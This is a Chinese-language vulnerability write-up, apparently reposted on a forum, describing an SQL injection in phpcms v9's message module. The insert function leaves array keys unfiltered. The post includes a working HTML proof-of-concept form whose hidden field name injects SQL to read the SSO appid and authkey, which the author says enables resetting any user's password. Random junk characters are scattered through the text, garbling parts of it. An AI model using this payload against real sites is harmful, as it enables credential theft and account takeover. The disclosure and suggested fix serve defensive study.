|
简要描述:
; M3 k( f6 x; J; [
H/ o7 Z: L! F: d; w% F第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。) I; I) U% H) W
/ s$ Y5 p! a. m7 Z, a
明天再更新下一个漏洞。# R" W! l1 \8 P' p
详细说明:
9 M J& z2 B9 ?' O5 k; Y9 o& x在/phpcms9/phpcms/modules/message/index.php中有代码如下:8 v$ l8 s6 |* H4 l4 J/ V4 D8 V
8 H6 `( ~ o k' e$ p' X* j) |
$messageid = $this->message_db->insert($_POST['info'],true);, B/ \) G( l* V+ m1 s/ b) i
2 q* I4 y' g1 z: K7 R5 @9 g+ j& F& |0 Z$ f
insert方法是key value的,代码如下:
8 |/ f3 I+ j8 M; [/ ?% _& T2 k+ u- O& A
public function insert($data, $table, $return_insert_id = false, $replace = false) {
% N* g; T1 d" H1 A6 O if(!is_array( $data ) || $table == '' || count($data) == 0) {
0 f" M" l2 {! h9 @+ I return false;
5 f& I& F3 }% i5 ?6 e. W }
4 `% i& I( D+ g# U/ P B8 |
1 p" a& @, X: o; ^ $fielddata = array_keys($data);! }5 _; n) |0 u4 u* |( j
$valuedata = array_values($data);
6 W4 f- G. A" o8 J& }. c& O9 w array_walk($fielddata, array($this, 'add_special_char'));% F' D+ P* G4 }# N* S: j% [
array_walk($valuedata, array($this, 'escape_string'));
8 }. b2 x0 j: k- n
; h; S& o/ W, Y5 j" \. |8 |# ] $field = implode (',', $fielddata);# t/ G6 w3 V! ^0 _3 A0 g/ j
$value = implode (',', $valuedata);
9 }7 w k# W! w" l1 K/ ?" Y7 R2 W0 |2 C8 D0 W$ q. R$ y
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';7 @/ V, y& C6 }
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
# U% V; e2 M- u! _3 `: @ $return = $this->execute($sql);1 @% m% k" b0 Y. T. h" _- }
return $return_insert_id ? $this->insert_id() : $return;
( ~" y/ A* K- M. J, p2 Z! U D }
8 T, C/ B/ `( O9 m0 ?+ n0 z( p5 F# ]& T/ a7 s1 }& m
- C% c3 Q! ^$ n
嗯,很遗憾的是
: l7 w+ F- [0 m$ F& |
\) D8 O; _# c1 o# {9 Aarray_walk($fielddata, array($this, 'add_special_char'));
& u' T- A* h* R* B3 h+ I* d
( S7 d9 \6 t9 [& l2 [, i" s0 ]# ]; F1 K) z% p, s/ ?& w9 |9 R
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。, K9 Y/ t% s0 Q- e- s' _5 z
3 {! n8 m F3 Y& d _8 B到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
( p3 y. t% f% E
8 k* T# k9 H3 L. g5 T1 u" f漏洞证明:' _' M: K' U9 m* ]5 m/ d! w
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。 Q1 h/ g, G# _2 e" N: }
4 t6 c3 _, W+ ?3 f' X- r- b2 f
& B" {9 d& M4 }$ o' S. d/ a表单如下:用户名什么的得自己改一改。9 X( `9 q4 ]7 S6 U c* [
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">9 G7 @) ^, L6 U- ]
<table width="100%" cellspacing="0" class="table_form">) v; G& d! W8 O3 R" K
<tr># u1 K/ j1 C; {4 u- U5 s
<th>标 题:</th>1 \: ^) w7 i% c# I- ~
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>) o8 F/ j8 S: b9 U/ K7 ^& [
</tr>
$ z5 @+ ?) a) c# d<tr>
" Y- y8 c: r U( B. F<th>内 容:</th>& o- |* |6 O1 G: N
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
5 M2 p A' H3 P1 |0 ^4 q6 }</tr>
3 N3 E9 ^, O$ [* A<input type="hidden" name="info[replyid]" value="2" />
# {' I! v* h( s9 B% m<input type="hidden" name="info[send_to_id]" value="cc" /> % i; D; n1 `! V! g: q+ X; ^
<input type="hidden" name="info[send_from_id]" value="hh">' _3 f! R/ J; [9 ^. f; e. @0 v
<!-- 漏洞的利用重点在这里开始 -->- a( a% g8 T1 r* N, H
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
1 L; Y0 J' n ]9 E<!-- 漏洞的利用重点在这里结束 --> Q5 H( x4 I; n
<tr>- U, Y9 X: C1 f
<th>验证码:</th>* v7 T! U! U4 K6 W" Q4 V: _
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>" U# |9 r/ W! J7 _8 P _
</tr>+ F: _; I ~. [/ e7 y+ W
<tr>' H& D& y9 Y9 I a
<td></td>. W! H) N4 S. R1 W% F
<td colspan="2"><label>
7 I) F4 v5 p* ]<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
A0 T% ~5 `5 q X4 Q</label></td>' s) {6 f2 Y0 Z% ?3 O
</tr>
9 x. G3 N5 Y7 p9 w# ?# K" Z</table>; a8 E6 o; `0 [9 b; Q7 S
</form>8 j3 |+ e7 Z: ~1 E1 ~
在add_special_char函数内对key做过滤就可以了。
2 l' }) [+ T! r `" U2 k& s+ |8 E3 x/ h; T0 e
7 l7 y/ P7 P3 t9 ]0 |
0 r# ^/ t! o% R9 V* Y- E d: Y8 a% O |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|